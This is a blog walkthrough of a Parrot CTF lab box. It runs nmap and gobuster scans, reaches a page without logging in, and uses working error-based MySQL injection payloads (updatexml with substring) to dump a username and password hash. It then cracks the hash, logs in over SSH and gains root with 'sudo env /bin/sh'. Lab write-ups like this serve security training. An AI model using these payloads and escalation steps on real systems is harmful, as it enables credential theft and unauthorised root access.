Habitual parrot CTF walkthrough

Musyoka Ian
8 min readJul 9, 2024

--

Hello guys and welcome back to another walkthrough. This time we’ll be tackling habitual from parrot CTF. A really fun box that helped me learn something new about error based SQL injection. If asked, i could have rated the box as a medium purely because i did the SQL injection manually. Being a red teamer and an application security engineer i try to measure my level by ease of finding bug by doing things manually and seeing if i could have been able to exploit the vulnerability if it was a real engagement is a great way of measuring my skill level. The box starts of by us running an nmap scan and discovering that 2 ports are open on the box namely HTTP (Port 80) and SSH (port 22). On running a directory brute forcing using gobuster we discover that the web application hosted on port 80 is vulnerable to broken authentication where a user can access pages that ordinarily should require authentication. We gain access to a tracker and the delete function is vulnerable to an Error based SQL Injection. We exploit the vulnerability and leak some credentials that are hashed. Crack the hash and use the password and username to log in to the server via SSH. User done!!. For root we’ll exploit env which can be run using sudo and gain root on the box. Without much say let’s jump in

We’ll start of by running an nmap scan of the box using the command

nmap -sC -sV -oA nmap/habitual 10.14.3.225

Looking at the results we have two ports that are open. Port 80 running HTTP and port 22 running SSH.

# Nmap 7.94SVN scan initiated Tue Jul  9 18:40:07 2024 as: nmap -sC -sV -oA nmap/habitual 10.14.3.225
Nmap scan report for 10.14.3.225
Host is up (0.24s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 46:a6:91:60:39:cd:2f:a8:58:58:24:fb:89:85:b4:da (ECDSA)
|_ 256 26:12:9f:28:76:46:1e:c3:69:54:95:5e:ab:1b:2d:c6 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Daily Habit Tracker
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jul 9 18:40:40 2024 -- 1 IP address (1 host up) scanned in 33.44 seconds

Since SSH requires valid credentials i started by enumerating port 80. On opening the web application we get a standard web page that seems to require a user to log in

Some of the things you can test when you get a login page are:

1. Bruteforce in case if weak credentials
2. SQL Injection
3. NOSQL Injection
4. Broken authentication (manually visiting authenticated portions of the application)
5. LDAP Injection
6. XPATH injection
7. Time based attacks during logins
8. User enumeration weaknesses
etc

While trying to test for this vulnerabilities manually i decoded to begin by running a directory brute forcing using gobuster. The command used was

gobuster dir -u http://10.14.3.225/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt -t 30 -x php,txt
gobuster dir -u http://10.14.3.225/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt -t 30 -x php,txt                                                           INT ✘  at 06:52:39 PM  
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.14.3.225/
[+] Method: GET
[+] Threads: 30
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 276]
/.html.txt (Status: 403) [Size: 276]
/.html.php (Status: 403) [Size: 276]
/index.php (Status: 200) [Size: 5078]
/.html (Status: 403) [Size: 276]
/.htm (Status: 403) [Size: 276]
/.htm.txt (Status: 403) [Size: 276]
/.htm.php (Status: 403) [Size: 276]
/home.php (Status: 200) [Size: 21768]
/. (Status: 200) [Size: 5078]
/.htaccess (Status: 403) [Size: 276]
/.htaccess.php (Status: 403) [Size: 276]
/.htaccess.txt (Status: 403) [Size: 276]
/.phtml (Status: 403) [Size: 276]
/conn (Status: 301) [Size: 309] [--> http://10.14.3.225/conn/]
/.htc.txt (Status: 403) [Size: 276]
/.htc.php (Status: 403) [Size: 276]
/.htc (Status: 403) [Size: 276]
/.html_var_DE.php (Status: 403) [Size: 276]
/.html_var_DE (Status: 403) [Size: 276]
/.html_var_DE.txt (Status: 403) [Size: 276]
/server-status (Status: 403) [Size: 276]
/.htpasswd.php (Status: 403) [Size: 276]
/.htpasswd.txt (Status: 403) [Size: 276]
/.htpasswd (Status: 403) [Size: 276]
Progress: 17808 / 129024 (13.80%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 17838 / 129024 (13.83%)
===============================================================
Finished
===============================================================

Looking at the results we notice that home.php returns some contents. I decided to navigate to the page manually and to my surprised i found myself logged in

This meant that the authentication bit had been bypassed successfully. i tried looking for functionalities that could be exploited and there were two actions which we could perform i.e. add items to the tracker and delete items

Usually to test if a query might be vulnerability i begin by fuzzing the endpoint using a basic wordlist from hacktricks

if something out of the ordinary comes c

My focus was now fully in delete tracker endpoint based on the error message returned to the end user . I tried the various types of SQL Injection from payload all the things and the error based injections worked. I managed to extract the version of MSQL that was running on the server.

Given we can inject raw SQL queries we need to determine which type of databases are present. The query that i used was

10' AND updatexml(null,concat(0x0a,(select schema_name fRoM information_schema.schemata LIMIT 4,1)),null)-- -

I used limit and not group_concat() since i was trying to avoid a lot of bad characters on my query. Limit allows us extract one column unlike group_concat() which groups them all together. Looking at the output we have one non-standard database called habit_tracker_db

Next i wanted to extract the tables. The query i used was

10' AND updatexml(null,concat(0x0a,(select table_name fRoM information_schema.tables wHeRe table_schema='habit_tracker_db' LIMIT 1,1)),null)-- -

We has a couple of tables but the most interesting one was tbl_users. To get the different databases, you’ll need to go thought the table one by one by changing the LIMIT values i.e.

First table -> LIMIT 0,1
Second table -> lIMIT 1,1
Third table -> LIMIT 2,1

looking at the screenshot below, tbl_users seems like the most interesting table

Next i extracted the columns and it only has 3 namely userid, username and password. MY main focus was in username and password and the queries i used were:

username

10' AND updatexml(null,concat(0x0a,(select column_name fRoM information_schema.columns wHeRe table_name='tbl_users' LIMIT 1,1)),null)-- -

password

10' AND updatexml(null,concat(0x0a,(select column_name fRoM information_schema.columns wHeRe table_name='tbl_users' LIMIT 2,1)),null)-- -

Lastly we need to extract the data stored in the colums and the query that i used was

username

10' AND updatexml(null,concat(0x0a,(select username from tbl_users LIMIT 0,1)),null)-- -

We get a user called slappy

Next i wanted to get the password and i used the query

10' AND updatexml(null,concat(0x0a,(select password from tbl_users LIMIT 0,1)),null)-- -

We get a hash but when i took the hash to crackstation it say it was unrecognized format

I was a bit confused. But looking closely you’ll notice burpsuite is saying the string has only 31 characters

No hash has 31 characters and this made me believe that some characters were being truncated by the error message received. This is where i introduce the concept called substring in MYSQL

The main purpose of substrings in MYSQL is Extract a substring from a string. This will help us truncate some portion of the hash either at the beginning or the end.This will help the hash fit in the error message return by the SQL server.

To extract the first 31 characters to the hash the following query is used

10' AND updatexml(null,concat(0x0a,(select password from tbl_users LIMIT 0,1)),null)-- -

The next 31 characters i used the following query

from char 32–60 the following query is used

10' AND updatexml(null,concat(0x0a,(select substring(password,32,60) from tbl_users LIMIT 0,1)),null)-- -

Th rest of the hash was extract using the following query

10' AND updatexml(null,concat(0x0a,(select substring(password,61,75) from tbl_users LIMIT 0,1)),null)-- - 

Lastly we can combine the hash extracted using SQL injection

709cc8bb277d20bb700799c582aa663d256e0c05e230bd3883c138601a298181ae

Counting the characters they are 64 which means that it’s a SHA 256 hash. Which we can crack with crackstation. Looking at the screenshot below we get the password

we get the hash correspond to the password

 yoneyry5

I tried to login with the cracked password since SSH was open. Looking at the screenshot below. We login successfully

Running sudo -l we see that we can run env as the root user

We can use GTFO Bins to exploit the misconfiguration

We can run the following command to get root on the system

sudo env /bin/sh

Looking at the screenshot above we get root on the system. And the box is pretty much done. I hope you enjoyed the walkthrough.If so clap for me and follow me so that you don’t miss any upcoming walkthrough

--

--

Musyoka Ian
Musyoka Ian

Written by Musyoka Ian

Penetration Tester/Analytical Chemist who Loves Cybersecurity. GitHub(https://github.com/musyoka101), ExploitDB(https://www.exploit-db.com/?author=10517)

No responses yet